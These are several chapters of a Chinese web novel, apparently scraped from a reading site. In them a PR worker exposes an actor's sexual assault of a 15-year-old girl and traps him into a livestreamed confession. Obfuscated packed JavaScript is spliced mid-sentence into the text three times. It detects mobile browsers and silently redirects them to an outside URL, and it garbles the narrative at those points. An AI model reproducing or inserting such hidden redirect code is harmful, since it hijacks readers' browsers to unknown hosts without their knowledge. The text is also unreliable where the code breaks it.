听他这么一说,向宁反而松了口气:“也好,至少我现在不用纠结该怎么把这事告诉你了。” 蒋昭恒接过蒋元磊的手机,点开他和女朋友的聊天记录。即便已经有了心理准备,还是难免会感到受伤。可他不想把这些情绪表现出来,只能尽力让自己的声音显得平静无波。 “从这些聊天记录来看,蒋元磊他女朋友很少向他要钱,就算要,也是520、1314这种特殊数字,连过万的都没有,更别说50万这么巨大的数额了。所以,我也实在想不出来,他要这笔钱到底是想打给谁。” 三人困惑之际,蒋元磊的手机突然弹出一条骚扰拦截提示。 「黑名单号码发来短信,系统已为您拦截。」 向宁一见,顿时来了精神:“是啊,我们之前只查了他的聊天记录,却忽略了他的黑名单!” 蒋昭恒连忙点开这条被拦截的短信,上面只有一句话—— 「我们的耐心是有限的,那50万你到底什么时候才能准备好?」 66. 封口费 黑名单拦截记录里有不少短信,都是用同一个号码发来的,向宁按时间顺序读完了每一条短信,却没有获得更多有价值的信息。 “基本上每条短信都在催他给钱,但是从来没提过这笔钱的用途。” 蒋昭恒接过手机:“我去查查号主的身份。” “不用那么费事。”向宁把那个号码存进自己的通讯录里,“打过去问问就知道了。” “别!” “等等。” 蒋昭恒和枕安几乎同时开口阻拦。 向宁却不理会他们,直接拨出了这通电话。有什么好怕的,没听说过“敌人的敌人就是朋友”吗? 对方很快接起,却没有出声。向宁打开免提,试探性地说了声:“您好。” “你是谁?”对面传来一个年轻的女声,语气透着警惕。 向宁想了想,扯谎道:“我是蒋元磊的经纪人。” “他的经纪人不是那个老男人吗?” “公司人事调动,现在由我负责带他。” 对面沉默几秒,大约没有起疑,问道:“是蒋元磊让你来找我的?” “不是。”向宁答得笃定,“我做了一些背调,发现他身上存在严重的舆论隐患,但他什么都不肯跟公司交代。所以,我想直接来找您问问情况。如果问题过于棘手,公司可能会考虑直接跟他解约。” 对面没有即刻回应,话筒似乎被人捂住了,向宁只隐约听见有人在商量什么。约莫半分钟后,刚才那人终于做出了决定。 “当面聊吧。” “好,我马上出发。” 向宁本想兵分两路,让蒋昭恒送蒋元磊回家,她和枕安一起赴约就行,蒋昭恒却坚持要跟她一起去。 没办法,他们只好在楼上酒店给蒋元磊开了间房,暂且把他安顿到这里。 “这张支票怎么办?”蒋昭恒问。 “物归原主吧。” 向宁从蒋元磊的上衣内兜里掏出支票,还给蒋昭恒。 “回头他要是问起来,你大可推说什么也不知道,也许是他自己发酒疯,把支票弄丢了。又或许支票根本就没丢,是他贪得无厌,想用这个谎言再从你那骗些钱。” …… 对方发来的地址位于远离市中心的老小区,大门没有门禁,保安亭里没有保安,连单元门都关不严,锁舌已经被卡死了,两指宽的门缝飕飕漏着冷风。 楼梯间没有窗户,灯泡也坏了大半,时不时还能嗅到宠物粪便的味道。 三人走上细窄陡峭的楼梯,枕安在前,蒋昭恒在后,把向宁护在了中间。 “到了,四楼。”向宁用手机照亮右边的房门,轻敲三下。 房门不太隔音,藏不住屋里由远及近的脚步声。 等待片刻,屋门从里缓缓打开一条缝,说话的正是刚才跟向宁通话那人:“男的别进来,经纪人进来就行。” 向宁伸手去拉门,却发现门被人从另一侧死死拽着,无法轻易拉动。 她只得对身旁两人说:“行了,你们就在门口等我吧。” 蒋昭恒扣住她手腕,反对道:“让你单枪匹马进去,万一出事怎么办?” 里面的女生闻言,冷笑一声道:“你们有什么好害怕的?该怕的是我们才对吧!鬼知道你们是不是来帮蒋元磊杀人灭口的。” 枕安用力捏住蒋昭恒的小臂,强行移开他抓住向宁的手,同时对屋内柔声道:“这样僵持下去只能浪费时间,不如咱们各退一步?” “怎么退?”那女生仍未放下戒心。 枕安拉开向宁的挎包,悄悄把里面的防狼喷雾移到最上层,然后取出她的手机,给自己打去电话并接通,还不忘开启通话录音。 “我们可以不进门,但是必须通过电话实时确认她的安全。一旦你们做出伤害她的举动,或者这通电话被挂断,我们都会立刻报警。”说着,枕安把向宁的手机递给她,“这个要求不算过分吧?” 短暂静默后,屋门终于被打开小半。面前的女生年纪不大,看起来像个大学生,她表情严肃,双目瞪视向宁身后的两个男人,冷声道:“你们两个站远点。” 二人不情不愿地后退几步,向宁正准备进门,那女生却伸出胳膊拦住她,谨慎道:“你要怎么证明你是蒋元磊的经纪人?” 向宁不紧不慢地取出工牌。自从她开始兼任况星宸的经纪人,人事部就给她做了一张新工牌,部门一栏填着全公司独一份的“公关部&经纪部”,现在正好用来蒙混过关。 那女生果然没再质疑什么,终于放向宁进了门。 这是套一居室的出租屋,客厅很小,没有电视也没有茶几,老旧的红布沙发上堆满衣物,窗户下方叠放着许多瓦楞纸箱。卧室的门关着,但是听声音,应该有人在里面。 见向宁无处可坐,那女生便从厨房搬来一张小凳子放到她面前。向宁也不挑剔,直接抱着挎包坐了下来,把手机放在挎包上方。 那女生退回墙边,半坐在纸箱上,语气不善道:“你想说什么就直说吧。” 向宁冲她温柔一笑:“同学,怎么称呼?” 她似乎很抵触:“这重要吗?” 向宁笑容不变:“如果你觉得不重要,那就随便编个假名字搪塞我吧。” “……”她盯着向宁犹豫了几秒,低声道,“我叫佟雪。” 同学,佟雪,真是一个毫不浪费脑细胞的好化名。 向宁只当未察,正色道:“可以跟我讲讲你和蒋元磊的纠纷吗?” 佟雪垂眸:“你不用套我的话。他给钱,买我一份谅解书,就这么简单。” “谅解书?”向宁心里猛地一跳,“你们之间的纠纷,已经上升到法律层面了吗?” 佟雪皱眉:“什么意思,说话别这么文绉绉行吗?” “我是说,你已经报警,或者请律师了吗?” “没有。”佟雪顿了顿,又咬牙道,“但如果他继续做缩头乌龟,我们一定会报警的。” “你,们?”向宁朝紧闭的卧室房门投去一瞥,继续试探道,“既然这样,我建议你们还是尽快报警吧。” “什么?”佟雪几乎以为自己听错了。 向宁站起身来,靠近她几步,温言道:“我看过你给蒋元磊发的那些短信,看得出来,确实没有律师在背后指导你,就算有,也不是靠谱的律师,否则你不会给他留那么多把柄。” 佟雪有些慌神:“什么把柄?” 向宁在她面前站定,微微低头与她对视,轻声道:“你的谈判话术太直白了,甚至可以说——毫无话术。这样一来,只要你收下蒋元磊的50万,他扭头就可以去起诉你敲诈勒索。如此巨大的数额,刑期至少十年。” 佟雪冷笑一声:“你是在威胁我吗?” “我是在提醒你。”向宁看着她难掩情绪的双眼,“不论你们之间发生过什么,只有尽快报警,在警方的监督和调解下接受他的赔偿,你才能规避风险,全身而退。” 佟雪实在疑惑:“我报警了,对你们有什么好处?” 向宁回以一击:“你拖着不报警,对你自己有什么好处?” 佟雪张了张口,似是无言以对,沉默半晌才道:“你不是来帮他平事的吗?为什么反而要劝我把事情闹大?” “我代表的不是蒋元磊,而是公司的利益。”向宁一本正经道,“事已至此,我不妨跟你说句实话,蒋元磊身上埋着大雷,我们公司早就想跟他解约了。只可惜,我们一直没抓住他的小辫子,单方面毁约反而会被他索要巨额赔偿金。所以,我才会来找你合作。” 佟雪紧攥衣角,眼眶已经有些湿润,沉思良久才抬头看她,不太确定道:“我能相信你吗?” 向宁思忖片刻,打开八卦论坛切到某个小号。 “你知道蒋元磊被爆□□的事吗?前段时间上了热搜的。”她问。 佟雪点点头:“听说了。” 向宁把手机屏幕展示给她看:“那个爆料帖就是我发的。” 佟雪眉头微皱,似是不可置信地问:“可是你们公司明明帮他‘辟谣’了啊……” “职场很复杂,面子工程还是要做一做的,毕竟他还没有被写进蓝底白字的通报里。”向宁牵了牵唇角,“再说了,你看我们公司的‘辟谣’有效吗?分明是此地无银,欲盖弥彰。” 佟雪还想说些什么,却被身侧的开门声打断了。 “二姐。”一个中学生模样的女孩从卧室探出头来,怯怯说道,“我觉得,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063671|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐说不定真能帮到我们。” 她的手指紧紧扣住门框,指节因过于用力而泛白。闪烁的眼神带着一种小心翼翼的试探,像是害怕自己的话会打破某种脆弱的平衡。 佟雪眉头微微皱起,眼中闪过一丝复杂的情绪,看着她叹了口气,没有说话,只是轻轻点了点头,算是默许她加入这场对话的意思了。 “过来坐吧,妹妹。”向宁对女孩招招手,试图用温柔的语气安抚女孩内心的不安。 女孩没有挪步。 她的眼下泛着淡淡的青黑,像是许久未曾好好休息过,连那双漂亮的眼睛也缺少了青春的神采,只剩下深深的倦意。她深吸了一口气,试图平复情绪,但还没准备好说话,眼泪就先涌了出来。 向宁连忙走近她,从包里取出纸巾递了过去,柔声关切道:“到底发生什么了?不着急,慢慢说。” 女孩接过纸巾紧紧攥在手里,却怎么也擦不尽眼泪,喉咙像是被什么堵住了,几度想要开口,却只能发出断断续续的抽泣声。 佟雪看不下去,转身背对向宁,声音低沉而压抑:“何必非要她亲口说出来,都这样了,你还猜不到么?我妹被蒋元磊强……”她顿了顿,实在不忍说出那个词,便只说:“被他强迫了。” 其实经过刚才的交涉,向宁心里已经隐隐有了这方面猜想。可是当她听到佟雪亲口说出这句话时,心里还是猛地一沉。她没有想到,受害者居然是一个如此年轻的女孩。 她的目光落在女孩身上,眼中是难以掩饰的震惊和心疼。 “她今年多大?”向宁的声音有些沙哑,每一个字都带着沉重的分量。 “刚过十六岁生日,出事的时候才十五岁。”佟雪低头答道,“我们都没上学了,在饭店当服务员,但不在同一家店。是我……是我疏忽了,没保护好她。如果我早点凑够钱送她去上学,就不会出这种事了。” 女孩听到这里,突然扑向佟雪,紧紧抱住她的腰,把脸埋入她的肩膀,低声哭道:“不怪你,二姐……” 向宁忍住泪意,深吸了一口气,努力让自己的声音保持平稳:“什么时候出的事?” “一个月前。”佟雪说。 一句“为什么不及时报警”几乎就要脱口而出,幸而向宁克制住冲动,硬生生把这句话咽了回去。 不能这么说,她反复告诫自己,不能在受害者身上再扎一把刀。 向宁尽快整理好心情,对佟雪问道:“除了那50万赔偿金,你们还有其他诉求吗?” “我做梦都想让他坐牢。”女孩的声音有气无力,“可是……我们手上一点证据都没有。老板说监控坏了,领班说他什么也没看见,我……我那天太害怕了,我洗了很多次澡,没有证据了,什么都没有了……” 佟雪偏过头去擦掉眼泪,声音微颤:“我们请不起律师,只能去网上看看免费的科普视频。有个律师说,遇到这种没有证据的案子,就应该签谅解书,收赔偿金。这样一来,反而能证明对方做贼心虚,能让法官意识到——如果他没有犯罪,为什么愿意赔那么多钱呢?也许只有用这种办法,才有机会让他坐牢。” 咚咚咚。 敲门声忽然响起,女孩吓了一跳,愈发往佟雪怀里缩去。 “没事,别怕,他们都不是坏人。”向宁看着佟雪征求意见,“我去看看?” 佟雪迟疑着点了点头。 向宁打开房门,蒋昭恒红着眼眶,哽咽道:“能让我跟当事人的姐姐说两句话吗?” 房间很小,无需她传话,佟雪也听得见。 “你们……进来说吧。” 三人一同进了屋,蒋昭恒脚步快些,最先站定在佟雪面前。 “不要签谅解书,也不要再私下跟蒋元磊联系。”他取出一张银行卡,双手递给佟雪,“拿着它去报警,就说这是蒋元磊他儿子给你们的封口费。虽然算不上实质证据,但也足以让警方提起重视,立案侦查了。” 佟雪一时没有明白过来:“什么儿子?什么封口费?” 蒋昭恒回头看着向宁:“你俩先把电话挂了吧。” 万一接下来这些话被收进通话录音就不好了。 “关于这张银行卡,我来教你们,该怎么回答警察的问询。” 67. 旧友重逢 这天晚上,蒋元磊是在警局醒来的,还没搞清楚状况,就被带进了审讯室。蒋昭恒也被传唤问询,直到半夜才获准离开。 打开手机,“蒋元磊涉刑案被捕”的新闻已经铺天盖地,星桥娱乐尚未对此事作出回应。 有吃瓜网友发出疑问:「怪了,这种抓捕行动难道不是保密的吗,狗仔怎么知道具体时间和地点?连现场高清图频都拍出来了。」 视频里,蒋元磊醉态毕露,似乎还未清醒过来,双腿软得无法站立,更无法行走,只能被两个警察架着挪动步伐。被推上警车以后,他更是倒头就睡,全然不知自己即将面对什么 也有人觉得这并不奇怪:「没看蒋元磊是在酒店被抓的吗?说不定狗仔蹲点只是为了拍他pc的实锤,没成想拍到了惊天大瓜。」 向宁刷到这里,给第二条评论点了个赞,微信小号随后响起一声消息提示,是狗仔给她发来的感谢红包。 「哥,你太够意思了,我从业以来第一次拍到这么猛的料!这是小弟的一点心意,以后多多合作哈~」 向宁收下红包,发了个戴墨镜装酷的表情,没有纠正对方对她错误的称呼。 就这么误会着才好,能帮她更好地隐藏真实身份。 向宁往浴缸里扔了个泡澡球,正准备舒舒服服放松一番,蒋昭恒的电话就打了过来。 “现在什么情况?”向宁率先开口发问,“你怎么跟警察说的?” 蒋昭恒的声音透着疲惫:“我就说——我趁蒋元磊喝醉时偷看他的手机,本来是想搜集他有私生子的证据,没想到偶然看见了那个女孩给他发的短信。” “佟雪吗?” “哦,她的真名不叫佟雪,叫季雪,她妹妹叫季云。” “然后呢?” “然后我出于好奇,自作主张联系了季雪,和她们见面以后,得知了事情的来龙去脉,为了维护蒋家的颜面,才主动给她们那张银行卡,用作封口费。” 向宁伸手搅弄着浴缸里的热水,垂眸道:“也就是说,你的口供其实并不足以给蒋元磊定罪?” “嗯。”蒋昭恒情绪沉沉,“我最多只能说到这一步了,毕竟我确实不知道,也没有途径知道那天究竟发生过什么。只是凭借我对蒋元磊的了解,愿意相信季家姐妹说的都是实话。” 向宁应了一声,转而问起:“蒋元磊那边怎么样了?” “他经纪人动作很快,已经给他请好了律师。姓郑,专做刑辩的,据说私底下跟很多艺人都有合——” “这个我知道,公司群里正聊着呢。”向宁打断道,“我是问,他的审讯结果怎么样,招了吗?” 蒋昭恒苦笑一声:“警方怎么可能向我透露这些呢?你与其问我,还不如直接找人黑进审讯室的监控系统。” “不要在警局附近开这种玩笑!”向宁压低声音,“你就不怕被便衣听见,直接让人家给逮了?” 蒋昭恒说了声不敢,又问起:“你们公司那边怎么样,定好公关方案了吗?” “不知道,蒋元磊不归我们组管。”向宁想了想,猜测道,“应该还没方案吧,现在毕竟是春节假期,加班倒也不是不能加,但工作效率嘛……你懂的。” 星桥娱乐的官微下挤满了网友评论,大多在催促公司出面表态。 持续装死到年后复工,公司再也找不到拖延的借口,终于发出了公开声明。 然而,这份声明的内容却让许多人都吃了一惊。 「经我司内部调查核实,网传季某对我司艺人蒋元磊的所有指控均为不实信息。」 「目前,我司已积极配合警方调查工作,相信在司法机关的公正处理下,真相必将水落石出。」 「望广大网友不传谣、不信谣,对于任何损害我司及艺人声誉的行为,我司将保留追究法律责任的权利。」 虽然这份声明言之凿凿,但大多数网友并不买账。这也难怪,毕竟只要了解过近些年的娱乐新闻,就知道这种公司声明压根算不得数,蓝底白字的官方通报才是唯一可信的消息源。 “这份声明是张洋亲自写的。他似乎很有信心,确定自己不但不会被警方打脸,而且还能靠这个case在林总面前邀功请赏。” 经纪部的茶水间里,乔煦晗一边接咖啡,一边跟向宁聊起这件事。 向宁很不理解:“蒋元磊都过气八百年了,就挣那三瓜两枣的,公司何必投入这么多资源力保他?与其花重金请律师,还不如及时止损,直接跟蒋元磊解约呢。” 乔煦晗环顾四周,见茶水间里没有别人,这才压低声音对她说:“你以为张洋只是为了公司的利益才这么上心啊?他是为了他自己。这事闹得这么大,连警方都介入调查了,张洋如果能力挽狂澜,岂不是能在业内露一大脸?以后不论是出去单干,还是偷偷接私活,价码都能谈得更高了。” 蒋元磊的律师老郑每周来公司开一次会,现在就在隔壁跟张洋面谈。 “放心吧,只要蒋老师不松口,警察根本找不到证据,只是顾及社会舆论才不敢太快放人。我这边多催着点,蒋老师再撑一撑就能出来了。” 如今早错过了查案的黄金期,事发地点的监控不是缺失,就是已经被覆盖。季云指出的几个知情者又是众口一词,都说自己什么也不知道,什么也没看见。加之时间隔得太久,验伤也没有意义。越往下查,便越像是在往死胡同里走。 日子一天天过去,这件事的关注度也一点点降了下来。对公关团队而言,这本是一件好事,张洋却反而逐渐生出了不安的感觉。 “这都快一个月了,警察怎么还不放人呢?你确定他们找不到证据吗?” 郑律师刚结束一次会见,仍然表现得泰然自若,甚至带着些嘲笑的意味:“警察那边一筹莫展,现在商请检方提前介入侦查了。我估计啊,他们也就是走个形式,顺便找个甩锅的冤大头。毕竟全网都盯着这个案子呢,警方就算想放人,也不敢自己担责啊。” 几乎与此同时,向宁接到了一个陌生的电话。 她原本没觉得有什么特别之处,只当这是个寻常的工作电话。然而接通后,对面传来的声音却让她微微一愣。 “向宁。”那是个年轻的女人,只这样叫了一声她的名字,声音略显低沉,带着一种似曾相识的熟悉感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068229|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>向宁不自觉地攥紧了手机。 是谁?这个声音她肯定听过,可一时却想不起来。 对方似乎察觉了她的困惑,轻笑一声后直言道:“已经不记得我了?” 向宁有些尴尬地笑了笑:“能给点提示吗?” 对面沉默了几秒,似乎在斟酌措辞,最后又轻声叫出一个名字:“花妮。” 向宁面上的笑容顿时僵住,手机依旧贴在耳边,脑海中却是一片混乱。 从小到大,只有一个人会这样称呼她。 她们出生在同一个村落,有着整整十岁的年龄差。虽是邻居,两家长辈却一向不合。 “别跟对门宋寡妇家的丫头瞎胡混!”父亲总是这样骂骂咧咧地教训她。 可她就喜欢跟宋姐姐一起玩,喜欢听她讲在县里上学的趣事。 “花妮。”忘了从哪一年起,宋姐姐开始这样称呼她,没有给出任何理由。 但她并不介意,反而挺喜欢的。花妮,比花娣好听多了。 不过……如果她也能像宋姐姐一样投个好胎,应该能拥有一个更好听的名字吧? 她从小就羡慕宋姐姐的名字——宋骄,骄傲的骄。每次叫出这个名字,她都好像能看见宋寡妇迎着阳光,笑眯眯注视着女儿的样子。 宋骄也确实担得起这个名字。她是那个小村落里第一个考进顶级学府的大学生。 尽管曾经关系不错,可是两人已经太久没有交集了,向宁也不知该对她说些什么,更不明白她为什么会突然联系自己。 直到两人面对面坐到咖啡馆里,她才有了一丝老友重逢的实感,终于可以确认这不是一场自遥远童年飘来的梦境。 宋骄似乎也有同样的感受,而且比她更甚,一度湿了眼眶:“我早猜到你还活着。不过,现在终于可以确认了。” “你是怎么找到我的?”向宁问。 宋骄微笑道:“你陪着简晓夜上了两次热搜,那么多高清图频,我想认不出来都难。” 向宁低下头,用手背碰了碰脸颊,轻声道:“我还以为,现在的我和小时候相比,变化已经很大了呢。” 宋骄深深一叹:“大,也不大。” 向宁依然没有抬头:“你怎么突然想起来找我了?” “我本来没想打扰你的。”宋骄坦言道,“你当初留下遗书,离家出走,肯定有自己的理由。换位思考一下,如果我是你,好不容易成功脱身了,肯定也不希望被从前的亲戚朋友找到踪迹。” 向宁没有假惺惺地出言否认,只是抬眸与她对视,扯出一个稍显疏离的干笑。 下一秒,宋骄便将自己的证件推到向宁面前,话题随之生硬转折,拐去了向宁意想不到的方向。 “你和蒋元磊私交不错,是吗?”她问。 向宁的目光落在那张工作证上,没有翻开看,只注视着证件套上的检徽图案。 “是的,宋检察官。” 两人的目光再次交汇,似乎都带着点说不清道不明的试探意味。 “向女士。”宋骄换上公事公办的语气,“关于蒋元磊性侵案,你愿意配合我们的调查吗?” 68. 目击证人 网约车堵在了路上,预计还有几分钟才能到达。向宁站在路边,陪宋骄一起等。 “你的这个钓鱼计划,符合所谓的程序正义吗?”向宁问。 “舆论的力量很关键。”宋骄轻声一笑,“哪有那么多非黑即白的答案?程序正义,也是可以被‘塑造’的。” “你就这么放心把计划全告诉我了,不怕我背刺你?”向宁看着她的眼睛问,“我可是业内出了名的不择手段,为了帮艺人洗白,什么下三滥的招都会用。” “不择手段。”宋骄饶有兴味地拎出这个评价,“从某种意义上来说,咱们其实蛮像的。我不了解你们行业,但我了解你。” 向宁不解:“都这么多年没见了,你怎么能笃定我——” “因为燃藜计划。”宋骄打断她道,“这么多年来,你一直在给咱们村的女孩捐款,资助她们上学。” “什么……什么计划?”向宁更为困惑,“是个慈善项目吗?” 宋骄见她如此反应,不禁诧异抬眸:“燃藜计划不是你发起的?” 向宁慢慢摇了摇头:“你为什么会觉得和我有关?” “因为这个项目,每年的打款日期都是你的生日啊。而且资助人神神秘秘的,从来不愿透露丝毫身份信息。”宋骄疑惑地盯着她,“难道只是巧合吗?” 向宁若有所思:“也许吧。” “我不觉得是巧合。”宋骄双眉紧蹙,仔细分析起来,“这个项目就是从你离村那年才启动的。如果资助人不是你,会不会是向晚蘅?” “不可能。”向宁斩钉截铁道,“如果是向阿姨,她绝对不会在我生日这天给村里打款,以免引人怀疑我还活着。何况做慈善是好事,她也没必要瞒着我呀。” 宋骄觉得有些道理,一时也拿不准了。 向宁思忖片刻,严肃道:“我不方便直接跟村里人联系。宋骄姐,你能帮我问问燃藜计划的具体信息,和资助人的相关背景吗?不用很详细,哪怕只有一点线索也好。” 宋骄点点头,忽又问起:“这么说来,你还是觉得这件事跟你有些联系?” 向宁垂下目光:“我也说不清楚,直觉吧。” 宋骄沉默了几秒,伸手按上她的肩膀:“你配合我完成今晚的计划,我就帮你问个清楚。” 向宁对她微笑颔首:“一言为定。” 网约车姗姗来迟,终于朝这边驶来。宋骄转身走出两步,却听见向宁在身后叫她。 “还有什么事?” 宋骄回头望她,向宁背光而立,看不清脸上有什么表情。 “今晚放人之前,能不能麻烦你再审他一次?” 宋骄叹了口气。自从蒋元磊被抓,他就一直在保持沉默。警方审了几轮,检方也问了几遭,可他死活就是不张嘴。直到现在,此案仍是零口供状态,迟迟找不到突破口。 “我尽量吧。”宋骄不抱希望地耸耸肩,“不过,八成还是问不出什么东西。” “没关系,只要把他的心理压力提上来就行。”向宁顿了顿,又补充道,“最好能激怒他。” 宋骄微微一怔,继而露出笑容:“没问题,这个我擅长。” …… 是夜,看守所外停着向宁刚租来的房车。 蒋昭恒坐在沙发上,不解道:“家里又不是没车,你何必特地租一辆呢?” 向宁盯着窗外:“这车空间大,便于施展。而且有自动驾驶系统,一会用得上。” 蒋昭恒顺着她的目光看过去:“你确定他今晚能出来吗?看守所放人都有固定的时间范围,没听说过还有半夜十二点突袭式放人的。” 向宁漫不经心地应答着:“特事特办嘛,别少见多怪了。” 说话间,看守所的大门忽然打开,金属摩擦声仿佛钝刀刮过耳膜。蒋元磊穿着单衣,难以抵御冬夜的寒风,每走一步都瑟瑟发抖。 向宁拿起一件大衣,在胸前的内兜里别了个小小的收音麦,随即跃下房车,快步朝他跑去。 “蒋叔叔!”她压着音量唤了他一声,满眼都是关切,亲手帮他穿上大衣,系好扣子。 对于她的出现,蒋元磊并不感到意外。放人之前,看守所的警员已经通知过他,外面有两个家属来接他了。 “蒋昭恒呢?”蒋元磊的语气很冲。 他话音才落,蒋昭恒就下了车,凝视着他的身影重重摔上车门。 蒋元磊冷哼一声,带着点讥讽的味道对向宁说:“依我看,这个儿子是白生了,还没有外人靠得住!” 向宁挽住他的胳膊,低声附耳道:“咱们先上车吧,再耽搁一会,万一有娱记听到风声,追过来跟拍就不好了。” “老子是无罪释放,不怕他们拍!”蒋元磊拿出手机,避着向宁的目光输入密码,“我先给郑律师和老葛打个电话,通知他们一声。” 向宁马上按住他的手机,俨乎其然道:“蒋叔叔,您的通话很可能会被警方监听。有什么话,还是我帮您转达吧。” 蒋元磊动作一缩,连忙按下关机键,点头道:“对,对,还是你想的周到。这样,你给他们发条消息,就说我已经出来了,在里面什么也没说,让他们放心。” 向宁一边应声,一边在微信界面乱点键盘,给文件传输助手发了几条消息,随后正色看向蒋元磊,比了个“OK”的手势。 蒋元磊回头望了望看守所的大门,朝那个方向恨恨吐了口唾沫,这才跟向宁一起向房车走去。 蒋昭恒帮他们拉开车门,一句话也没有说,只用鄙夷厌恶的目光盯着蒋元磊,盯着自己生物学意义上的父亲,几欲作呕。 蒋元磊对上这道目光,扶在车门上的手渐渐攥成拳头,几乎没怎么犹豫,就用力打在了蒋昭恒的脸上。 蒋昭恒短暂有一瞬发懵,随即反应过来,于是结结实实地还了他一拳。 向宁见状,赶忙上前拉架,连推带拽地扶蒋元磊上了房车,继而设好自动驾驶的路线。蒋昭恒紧随其后,待车子刚刚驶出,就再次和蒋元磊扭打起来。 直到这时,他才明白向宁那句“这车空间大,便于施展”是什么意思。 “别打了,都冷静点!”向宁卯足力气将他们分开,继而挡在蒋元磊身前,给蒋昭恒使了个眼色。 蒋昭恒冷笑一声:“他做出这样伤天害理的事情,打死也活该!” 蒋元磊似是被他这话刺激到了,怒气愈发上头:“小宁你别拦着,我今天就要好好教训教训这个狼心狗肺的不孝子!” 向宁语带哭腔,忙又转过来劝他:“蒋叔叔,昭恒哥就是刀子嘴豆腐心。其实这些日子,他一直在忙前忙后为您奔走呢。” “呸!”蒋元磊丝毫没有消气,反而被她这话勾起了另一重怒火,“要不是他自作主张去给季云季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077287|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪封口费,她们还抓不到老子的把柄呢!” “好心当成驴肝肺!”蒋昭恒随手抄起沙发上的软枕朝他扔去,“早知道这样,我就不该管你,就应该让季雪直接去报警,告得你牢底坐穿!” “你少跟我来那一套!”蒋元磊的语气在愤怒之余,亦有着隐隐的得意,“她们手上屁证据都没有,要不是你横插一杠,老子本来可以全身而退的!” 蒋昭恒攥紧双拳,咬牙道:“这么说,季雪对你的指控全都是真的了?” 蒋元磊推开向宁,慢慢向前踱步,带着挑衅的笑容插兜道:“是又怎么样?” 蒋昭恒忿忿注视着他的双眼:“那个女孩才十五岁,你不怕遭报应吗!?” 蒋元磊冷笑一声:“说这些冠冕堂皇的话有什么意义?难不成,你还想大义灭亲?” 蒋昭恒双唇紧抿,一言不发。 “别忘了,你是做律师的。虽然资历还浅,但也是个有头有脸的星二代。要是让亲爹背上了□□犯的罪名,你在圈子里还怎么混?”蒋元磊继续靠近他几步,微微抬头道,“还有你妈,她可还没跟我离婚呢,我的名誉就是她的名誉,你自己掂量掂量吧。” 蒋昭恒没有应声,移目与向宁对视。 蒋元磊顺着他的目光转过身,笑着伸出手,居高临下地摸了摸向宁的脸颊。 “还有你。”他的声音透着吊诡的温柔,“咱们都是星桥娱乐这一根绳上的蚂蚱。宁宁,你好不容易才混了个小领导的位置,可别轻易把前途葬送了啊。” 向宁乖顺地抓住他的手,温声道:“蒋叔叔,您没必要威胁我们。” 与此同时,被耳边长发盖住的蓝牙耳机里传来了宋骄的声音。 “可以了,准备停车,注意安全。” 向宁抬着头,对蒋元磊露出一个柔婉无害的笑容,手上却加大了力气,把他的手捏得更紧,指甲边缘甚至掐入他的手背。 “蒋叔叔,您先坐。” 蒋元磊下意识看向手背上的指痕,隐隐有些不安,却说不出是因为什么。 向宁自顾自系上安全带,蒋昭恒见她有所动作,便知道到时候了,于是也在沙发上坐稳扶好。 蒋元磊更觉得周遭气氛古怪,正准备开口发问,却见一辆警车忽然开始鸣笛,同时从左侧超车上前,紧接着一个急转弯,车身便横在了他们的房车之前。 房车的自动驾驶系统感应到路况突变,为保安全立刻急刹,被警车顺利截停。 在巨大的惯性作用下,蒋元磊在车里摔了个狗吃屎,几乎眼冒金星。 等他缓过神来,视野重归清晰,一抬眼就看到车门自动打开,门外站着几个警察。而他们身旁站着的,正是不久前审讯过他,却一无所获的检察官宋骄。 “蒋元磊先生,麻烦再跟我们走一趟吧。” 蒋元磊狼狈地爬起来,冲他们大吼:“你们凭什么抓我?还有完没完了!” 宋骄没有回答他的问题,而是对向宁说道:“向女士,有网警接到群众报案,说在一场网络直播里看到了蒋元磊亲口承认犯罪事实,以及威胁你们替他保密的相关内容,请问是否属实?” 蒋元磊双目圆瞪:“什、什么直播?” “属实。”向宁站起身,抬手轻点车顶的隐藏摄像头,对蒋元磊温柔笑道,“本来以为半夜不会有很多观众的,唉,算你不走运咯。” 69. 神秘资助人 午夜一点正是熬夜高峰期,一段只有短短几分钟的直播录屏突然在各大社交平台疯传。没过多久,几条相关词条也迅速冲上热搜高位。 #蒋元磊直播自锤# #蒋元磊父子反目# #蒋元磊再次被捕# 一片热议声中,大家最关心的问题自然是—— 「只靠这段录像,根本无法形成完整的证据链吧,蒋元磊真能被定罪吗?」 一众网友各执一词,有人觉得悬,有人觉得稳。无论如何,大多数人还是希望他能受到应有的制裁。 除此之外,还有人在这段录像里发现了奇怪的细节—— 「从录屏来看,开直播的账号是个三无小号,直播间当时只有个位数观众,热度低得可怜,这也能被网警查到?警车追来得还那么快?不会是有人做局吧!」 